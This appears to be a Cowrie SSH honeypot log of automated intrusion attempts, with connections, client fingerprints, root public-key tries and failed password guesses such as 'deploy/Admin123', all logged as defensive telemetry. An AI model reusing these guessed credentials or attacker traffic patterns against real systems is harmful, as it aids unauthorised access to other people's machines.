{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:13:be:d9:8a:d3:83:7e:59:84:03:88:f5:49:e9:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCz9SOHb+tc4FIolI+3mAaJGBZ1gC4i/HYZYS/xQFMqnlziHdG/l/rmmuOQmllmbcMXisH3CRIBcWgltLhn/Ugbld0oEeSjKwnK6QGlmk7e9L7DHVSxR5SRA9OeInS9Oi1Sf40dbWdemexSlHs1endur4eDNcwsCGxTSn+LfoyE19F3VM6ekIKFInfXGmPW89jJ6L7bUtbgSGrQtAvkkRrJNk9N7tyS9YBS2ugl13hepv+LKXowy1scMC3PFwgLFlm/FZEmWWZhDPgINB1jlb5iNSevbbf5YfN1UTpYMaBNz1jCtUfv+/GFEiAKpn4mOpCUdVUfQI1UXczY56DsL/xE5YReMSSQHjTbgc7WsrkT9yx9Bqzr2gPn9FCDqlDaWINQigiUFnEU6GzjO8vcINJYBGyYHScCKmWXCtYbj3djK4ryYaUvkDJv2qdeMAllhXIuXynC0sT/NSBWHA+vhfl9rreanAKjjtIe44IRrzIvJhAx/H5k6Wb5xU3hXurJ5f7JhVT4h2j/UwSTFqgV2lNx8RowvILV2saZtwpEGXSa7HcQunX+3kN5JKv97Z7I0d8ZbOHZiol7hiqhff2KZqhHxt//0GPECOZ9XdXvusr4mtR7xDvxq5VAJ2eWDptOfDCAvarQphjU7rOhs+evhjFR7NZARQ9+42W6buCVKGEh4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:13:be:d9:8a:d3:83:7e:59:84:03:88:f5:49:e9:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.414084Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:13:be:d9:8a:d3:83:7e:59:84:03:88:f5:49:e9:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCz9SOHb+tc4FIolI+3mAaJGBZ1gC4i/HYZYS/xQFMqnlziHdG/l/rmmuOQmllmbcMXisH3CRIBcWgltLhn/Ugbld0oEeSjKwnK6QGlmk7e9L7DHVSxR5SRA9OeInS9Oi1Sf40dbWdemexSlHs1endur4eDNcwsCGxTSn+LfoyE19F3VM6ekIKFInfXGmPW89jJ6L7bUtbgSGrQtAvkkRrJNk9N7tyS9YBS2ugl13hepv+LKXowy1scMC3PFwgLFlm/FZEmWWZhDPgINB1jlb5iNSevbbf5YfN1UTpYMaBNz1jCtUfv+/GFEiAKpn4mOpCUdVUfQI1UXczY56DsL/xE5YReMSSQHjTbgc7WsrkT9yx9Bqzr2gPn9FCDqlDaWINQigiUFnEU6GzjO8vcINJYBGyYHScCKmWXCtYbj3djK4ryYaUvkDJv2qdeMAllhXIuXynC0sT/NSBWHA+vhfl9rreanAKjjtIe44IRrzIvJhAx/H5k6Wb5xU3hXurJ5f7JhVT4h2j/UwSTFqgV2lNx8RowvILV2saZtwpEGXSa7HcQunX+3kN5JKv97Z7I0d8ZbOHZiol7hiqhff2KZqhHxt//0GPECOZ9XdXvusr4mtR7xDvxq5VAJ2eWDptOfDCAvarQphjU7rOhs+evhjFR7NZARQ9+42W6buCVKGEh4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.419584Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:5b:e4:17:7d:b8:e8:8a:d8:7e:8a:a8:f8:5f:18:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC67lOxxADFCQLHUkdv/cIP6uQxCqUPbZ+p6Ez/EcJ7EVajqUMVwtX/pfRJVXozVyAmwn5z/uH0G4zcjJtQiKQPp7KFcSBQ+1WCVUojoyrFMF7OndcVCBHTGrdD7dz8lytIU/vNnm+9H7OWyu39yoRTMlHuaci/wm2WbBTdKcOH6nBv6eGgm4bczwO3X1Vmt/6Uvo34SqLynz+rhXDb7skF9dnvSVjLQVkPWN6Af8e+VQex4DcMaLj2dffgwODWmhi1H7jmQZUQ1U7b+F594rQgP97X/tdf2GduZOIztXAtoOY7A78vRWAWIbfAS5NBWVdkKsp2lDdySqj9jysigPpL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:5b:e4:17:7d:b8:e8:8a:d8:7e:8a:a8:f8:5f:18:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.467668Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:5b:e4:17:7d:b8:e8:8a:d8:7e:8a:a8:f8:5f:18:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC67lOxxADFCQLHUkdv/cIP6uQxCqUPbZ+p6Ez/EcJ7EVajqUMVwtX/pfRJVXozVyAmwn5z/uH0G4zcjJtQiKQPp7KFcSBQ+1WCVUojoyrFMF7OndcVCBHTGrdD7dz8lytIU/vNnm+9H7OWyu39yoRTMlHuaci/wm2WbBTdKcOH6nBv6eGgm4bczwO3X1Vmt/6Uvo34SqLynz+rhXDb7skF9dnvSVjLQVkPWN6Af8e+VQex4DcMaLj2dffgwODWmhi1H7jmQZUQ1U7b+F594rQgP97X/tdf2GduZOIztXAtoOY7A78vRWAWIbfAS5NBWVdkKsp2lDdySqj9jysigPpL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.472321Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:a1:93:21:8f:4f:fe:99:dc:48:73:44:5b:15:a4:aa","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJVAX7Q4RyCPg+HgfLZG80zvss8J2FYfmWLHRFQupMexXwuGTJDLsH5OYl9V6FxYKOY2usgJ0mVERAMNWDyKk8/VdFKUBWJTzCk6imBKbm9g70ljEZvzqTYFtYMnQAlcdUMwnsfqcaZUr62QmO4LPOET6DN5ubYJ7cGqLY19Ho1zAAAAFQCFMj0kWyBcIeSifcNNBinoFYz8nQAAAIBpPv7B+W6TssZ4Sq5vi5pYqSWjTIryCV4Ifp8oQRwKkG/lAOaHvLfk6Co0gFlDaLbV0fi+MUH+xdDb/2xkyAEwxGV5xxCwfNRCk57KfIeCUNNL88Hvf4hcv1CdPCKPQXY6D/hE4dPB8WNk2Qwl3oQ99RNZJp9az4dG1SCeKb1/SAAAAIAbfPRxhCQ2tilD1soTygJ/WmHY3ManGtMtRzl8xFEpXSdO32S9Zm07fxcBTYu9FE1DUwUGUurEsWvWwyT7zFrSMyCZ8nRuDDsB+vkPkEgxQyvb1ArqHcXWrScF3BZP6KEVSvq57OebqbQChMVJ6FHeRUAFe/ey8Rk86PatXHRFNA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 6f:a1:93:21:8f:4f:fe:99:dc:48:73:44:5b:15:a4:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.517284Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:a1:93:21:8f:4f:fe:99:dc:48:73:44:5b:15:a4:aa","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJVAX7Q4RyCPg+HgfLZG80zvss8J2FYfmWLHRFQupMexXwuGTJDLsH5OYl9V6FxYKOY2usgJ0mVERAMNWDyKk8/VdFKUBWJTzCk6imBKbm9g70ljEZvzqTYFtYMnQAlcdUMwnsfqcaZUr62QmO4LPOET6DN5ubYJ7cGqLY19Ho1zAAAAFQCFMj0kWyBcIeSifcNNBinoFYz8nQAAAIBpPv7B+W6TssZ4Sq5vi5pYqSWjTIryCV4Ifp8oQRwKkG/lAOaHvLfk6Co0gFlDaLbV0fi+MUH+xdDb/2xkyAEwxGV5xxCwfNRCk57KfIeCUNNL88Hvf4hcv1CdPCKPQXY6D/hE4dPB8WNk2Qwl3oQ99RNZJp9az4dG1SCeKb1/SAAAAIAbfPRxhCQ2tilD1soTygJ/WmHY3ManGtMtRzl8xFEpXSdO32S9Zm07fxcBTYu9FE1DUwUGUurEsWvWwyT7zFrSMyCZ8nRuDDsB+vkPkEgxQyvb1ArqHcXWrScF3BZP6KEVSvq57OebqbQChMVJ6FHeRUAFe/ey8Rk86PatXHRFNA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.521312Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:5b:0f:3b:0a:9f:24:a5:98:0d:6f:80:8f:b7:ba:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4qag9J/uk+hanzTeduUhMvMYD599lT5KhQKzi/N6Y/gnuRvxWdUPibiRh2upaqy3Hf3eL09g402AOAblQ322zdesoGgTx8vwEAWxy3n46ARlC3szG071rh/1l35oKw2f2YiXfPCGEZ/CFhMJ64OtSOkFOY7ldzOgo0tbVcxMsIvODNPJvPlQFwpIQPiPIMBE3eC7vvAej6R+Fx2jbiqXQPiZy4rw+1+ogc7mlKkVWy1/qa4IKNFpDAJTEzqXrWuCpfVrfO2PDGiDNOHo0Tp0YQazgO0n8k6q45/6lsvupNOA2BDy4EisAlgINBCeqCLQ1btTsNZeQnBx7sBerzq4FgDisASkh3aD9axpkvgpQmitzDEDJIthP15f5Pml6rIJ05H8ri4t664udEeeqF9iba055KO4N3vTO0LsALRAQsBoXiipyknVf0GdrZz3XPFTt0BfaGInUOpv+bHDUK7GLbuBQ8ZoX0PcroAgbvAn55UIkST9CbS5MaS0Dh5kRlXKU5HaOEX9t++EGCaFo1m4OOsFIWClS5q3VATj7g7aCxC2AFr4riLx6cIVbPV5iMy7xnPPQfs+/SlZZwXTuO9OiP2xyERLW41A2uq7nI3pQHN9qJgwjoPXIRz1pMd1ltKNSWQYBY4u/N03CFyLLwZd2acbabZBQmiFhseuOxyH6Pw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:5b:0f:3b:0a:9f:24:a5:98:0d:6f:80:8f:b7:ba:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.567837Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:5b:0f:3b:0a:9f:24:a5:98:0d:6f:80:8f:b7:ba:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4qag9J/uk+hanzTeduUhMvMYD599lT5KhQKzi/N6Y/gnuRvxWdUPibiRh2upaqy3Hf3eL09g402AOAblQ322zdesoGgTx8vwEAWxy3n46ARlC3szG071rh/1l35oKw2f2YiXfPCGEZ/CFhMJ64OtSOkFOY7ldzOgo0tbVcxMsIvODNPJvPlQFwpIQPiPIMBE3eC7vvAej6R+Fx2jbiqXQPiZy4rw+1+ogc7mlKkVWy1/qa4IKNFpDAJTEzqXrWuCpfVrfO2PDGiDNOHo0Tp0YQazgO0n8k6q45/6lsvupNOA2BDy4EisAlgINBCeqCLQ1btTsNZeQnBx7sBerzq4FgDisASkh3aD9axpkvgpQmitzDEDJIthP15f5Pml6rIJ05H8ri4t664udEeeqF9iba055KO4N3vTO0LsALRAQsBoXiipyknVf0GdrZz3XPFTt0BfaGInUOpv+bHDUK7GLbuBQ8ZoX0PcroAgbvAn55UIkST9CbS5MaS0Dh5kRlXKU5HaOEX9t++EGCaFo1m4OOsFIWClS5q3VATj7g7aCxC2AFr4riLx6cIVbPV5iMy7xnPPQfs+/SlZZwXTuO9OiP2xyERLW41A2uq7nI3pQHN9qJgwjoPXIRz1pMd1ltKNSWQYBY4u/N03CFyLLwZd2acbabZBQmiFhseuOxyH6Pw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.572236Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:24.616786Z","src_ip":"172.245.225.106","session":"11dcc85bf7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":52678,"dst_ip":"10.17.0.5","dst_port":22,"session":"81b2668ad810","protocol":"ssh","message":"New connection: 187.212.47.18:52678 (10.17.0.5:22) [session: 81b2668ad810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:30.163785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:30.169464Z","src_ip":"187.212.47.18","session":"81b2668ad810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:30.585804Z","src_ip":"187.212.47.18","session":"81b2668ad810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appldev","password":"appldev","message":"login attempt [appldev/appldev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:30.922769Z","src_ip":"187.212.47.18","session":"81b2668ad810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:02:32.001839Z","src_ip":"187.212.47.18","session":"81b2668ad810","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":33884,"dst_ip":"159.203.135.109","dst_port":22,"session":"b46898ead3b4","protocol":"ssh","message":"New connection: 165.154.205.91:33884 (159.203.135.109:22) [session: b46898ead3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:12.528626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:12.537083Z","src_ip":"165.154.205.91","session":"b46898ead3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:12.762356Z","src_ip":"165.154.205.91","session":"b46898ead3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Admin123","message":"login attempt [deploy/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:13.698403Z","src_ip":"165.154.205.91","session":"b46898ead3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:14.926831Z","src_ip":"165.154.205.91","session":"b46898ead3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.189","src_port":65038,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bd7267d3e2b","protocol":"ssh","message":"New connection: 2.57.122.189:65038 (159.203.135.109:22) [session: 0bd7267d3e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:49.158216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:49.163790Z","src_ip":"2.57.122.189","session":"0bd7267d3e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:49.269464Z","src_ip":"2.57.122.189","session":"0bd7267d3e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:03:49.717510Z","src_ip":"2.57.122.189","session":"0bd7267d3e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.92.21","src_port":34660,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cb883a9fb31","protocol":"ssh","message":"New connection: 69.175.92.21:34660 (10.17.0.5:22) [session: 9cb883a9fb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.607964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.618356Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.646818Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyHT545tP6An9Els0wMLzxzSNEFPq9GDgccxK0FDcSMQ1nIoEMIWg01PBuJBCCZpYjFSc7Jg6PRUDlXqR5tvVM1MbWh8LIEvuPSmWBm2XcA99Ul1Z/XSIJfjM7WAGYpGMEc6FVKU7gDt5QalqtYdtWaAOHwgrnU7sPdyVNuUOMyE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.764134Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:4c:ea:d6:5e:99:a0:84:28:c4:94:65:06:77:71:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAyHT545tP6An9Els0wMLzxzSNEFPq9GDgccxK0FDcSMQ1nIoEMIWg01PBuJBCCZpYjFSc7Jg6PRUDlXqR5tvVM1MbWh8LIEvuPSmWBm2XcA99Ul1Z/XSIJfjM7WAGYpGMEc6FVKU7gDt5QalqtYdtWaAOHwgrnU7sPdyVNuUOMyE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:04:06.768366Z","src_ip":"69.175.92.21","session":"9cb883a9fb31","protocol":"ssh"}
